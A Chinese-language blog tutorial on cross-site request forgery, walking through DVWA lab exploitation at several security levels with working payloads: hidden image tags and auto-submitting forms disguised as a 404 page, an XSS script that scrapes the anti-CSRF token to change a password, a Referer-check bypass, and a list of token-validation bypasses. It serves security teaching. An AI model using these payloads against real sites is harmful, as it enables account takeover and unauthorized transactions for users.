CSRF解析

简介

  CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:One Click Attack/Session Riding。
  漏洞原理:攻击者盗用了用户的身份,以用户的名义向第三方网站发送恶意请求。 CRSF能做的事情包括利用你的身份发邮件、发短信、进行交易转账等,甚至盗取你的账号。
  漏洞成因:网站的Cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的CSRF脚本或包含CSRF脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

原理演示

  1. 受害者访问存在CSRF漏洞的站点A(www.a.com);
  2. 攻击者诱导受害者访问自己的站点B(www.b.com);
  3. 受害者中招访问了攻击者制作的网站B;
  4. 攻击者带着受害者的认证信息,发送伪造的请求给站点A,实现非法操作;
  5. 站点A看到是用户(受害者)的认证信息便对请求做了应答;
  6. 攻击者达到目的,一次CSRF攻击完成。


    原理图

相关知识

  Cookie是由服务器端生成,发送给User-Agent,浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器。
  同源策略:同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
  AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。
  表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分:
  表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法;
  表单域:包含文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等;
  表单按钮:包括提交按钮、复位按钮和一般按钮;
用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。

CSRF分类

  GET类型的CSRF是CSRF中最常见,危害最大,但也是最简单的一种类型,只要一个HTTP请求就可以实现,这种类型又可以分为手动型和自动型,手动型就是需要我们自己去点击才会发生攻击,比如各种URL链接,各种a标签包裹的DOM元素。自动型的是不需要我们点击,只要当我们访问具有某些标签的网站的时候就会自动发生攻击,比如网页中有

<img src="http://www.123.com/transaction.php?id=3&amount=1000" /> 
<script src="http://www.123.com/transaction.php?id=3&amount=1000"></script>

因为这些标签是网页加载的时候就会自动发送HTTP 请求,所以当网页加载的时候CSRF就会自动发生。要实现这种CSRF就必须实现跨域访问,比如利用上面这两个可以发送跨域请求的标签,AJAX是不能实现这种CSRF的,因为AJAX有同源策略,当使用AJAX的时候,接受数据的URL地址的域名、端口、协议、必须和当前地址的域名、端口、协议都一致才能成功发送数据,不然数据是发送不成功的。
  post请求和get请求不同,post请求是要把参数放在http的请求body里发送给服务器,所以post类型的CSRF需要用post的方式发送请求。我们常用的post请求方式一般就两个,AJAX和表单,当正如我上面所说,AJAX是有同源策略的,所以不能用AJAX的方式发送post请求,所以就剩下表单的方式,表单是支持跨域发送请求的。通常的方法就是创建一个自动提交的表单,比如:静态创建一个自动提交的表单

<form action="http://www.a.com/transaction.php" method="post" id="form">
<input type="text" name="id" value="3" />
<input type="text" name="amount" value="1000" />
</form>
<script> document.getElementById("form").submit()</script> 

动态创建一个自动提交的表单

<script>  
            let form = document.createElement('form');
            form.action = 'http://www.123.com/transaction.php';
            form.method = 'post';
            let input = document.createElement('input');
            input.type = 'text';
            input.name = 'id';
            input.value = '3';
            form.appendChild(input);
            input = document.createElement('input');
            input.type = 'text';
            input.name = 'amount';
            input.value = '1000';
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
</script>

漏洞挖掘

  1. 自动化扫描工具:NetSpark、AWVS、AppScan等。
  2. 自动化扫描工具:CSRFTESTER、Burp等。
  3. 手工测试:全凭经验!

漏洞利用

  DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的web漏洞如sql注入,xss,密码破解等常见漏洞。DVWA 的代码分为四种安全级别:Low,Medium,High,Impossible。其安全性从低到高。利用难度也从低到高。

漏洞利用-DVWA-Low

查看源码可知, Low Security Level的代码中未对输入做任何处理。

payload1
构造链接:http://192.168.43.84/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=12321&Change=Change#
生成短链接的网站:http://tool.chinaz.com/tools/dwz.aspx

通过img标签中的src属性来加载攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改

payload2

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <img src="http://192.168.43.84/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#">
    <h1>404</h1>
    <h2>file not found</h2>
</body>
</html>

查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。

payload3

<body onload="javascript:csrf()">
<script>
function csrf(){
document.getElementById("button").click();
}
</script>
<style>
form{
display:none;
}
</style>
    <form action="http://192.168.43.84/dvwa/vulnerabilities/csrf/" method="GET">
        <input type="password" AUTOCOMPLETE="off" name="password_new" value="1212"><br />
        <input type="password" AUTOCOMPLETE="off" name="password_conf" value="1212"><br />
        <input type="submit" id="button" name="Change" value="Change" />
    </form>
    <h1>404</h1>
    <h2>file not found</h2>
</body>

漏洞利用-DVWA-Medium

查看源码可知, Medium Security Level的代码中使用了stripos()函数
stripos()函数:stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量_SERVER中的两个值:_SERVER['HTTP_REFERER']:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值_SERVER['HTTP_NAME']:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。 用户正常登录使用修改密码操作时,可以看到: Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是_SERVER['HTTP_REFERER']的值中必须包含$_SERVER['SERVER_NAME'],以此来抵御CSRF攻击。

利用:在HTTP请求头的referer字段中添加DVWA服务器名称(只有保证referer的值包含DVWA服务器的域名或IP地址,就能够实现攻击)

medium

漏洞利用-DVWA-High

分析:查看源码可知, High Security Level的代码加入了Anti-CSRF token机制,用户每次访问修改密码页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
利用:要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
思路:找一个XSS漏洞来配合,先通过XSS获得token之后修改密码。

payload

alert(document.cookie);
var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/';
    if(window.XMLHttpRequest) {
        xmlhttp = new XMLHttpRequest();
    }else{
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
var count = 0;
    xmlhttp.withCredentials = true;
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState ==4 && xmlhttp.status==200)
        {
            var text = xmlhttp.responseText;
            var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = text.match(regex);
            console.log(match);
            alert(match[1]);
                var token = match[1];
                    var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
                    if(count==0){
                        count++;
                        xmlhttp.open("GET",new_url,false);
                        xmlhttp.send();
                    }               
        }
    };
    xmlhttp.open("GET",theUrl,false);
    xmlhttp.send();

漏洞利用-DVWA-Impossible

Impossible Security Level的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

CSRF防御

跨站点请求伪造

番外篇——Token防御绕过

token-仅算法验证绕过

原因:应用程序不验证CSRF令牌是否绑定到特定账户而仅验证token算法
绕过:payload中编码一个合法有效的token即可,测试方法:

账户A登录网站进入修改密码页面
抓包保存token令牌
注销账户A,登录账户B
转到密码更改页面并拦截请求
使用A账户的token令牌代替B账户的

Token-仅长度验证
原因:应用程序仅验证每次token令牌是否不同,且长度一致
绕过:可以通过修改令牌的值保持长度相同即可

Token-置空令牌
原因:应用程序仅在token应用程序不为空的情况下检查token(常见)
绕过:抓包删除请求中的token令牌即可

Token-仅静态验证
原因:token令牌由静态和动态两部分组成,程序仅验证了静态部分
绕过:删除动态部分,仅用静态部分绕过

Token-令牌易构造
原因:生成的token令牌过于简单有规律可循
绕过:探究令牌生成的方式,通过构造令牌进行绕过

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 221,695评论 6 515
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,569评论 3 399
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 168,130评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,648评论 1 297
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,655评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,268评论 1 309
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,835评论 3 421
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,740评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,286评论 1 318
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,375评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,505评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,185评论 5 350
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,873评论 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,357评论 0 24
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,466评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,921评论 3 376
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,515评论 2 359

推荐阅读更多精彩内容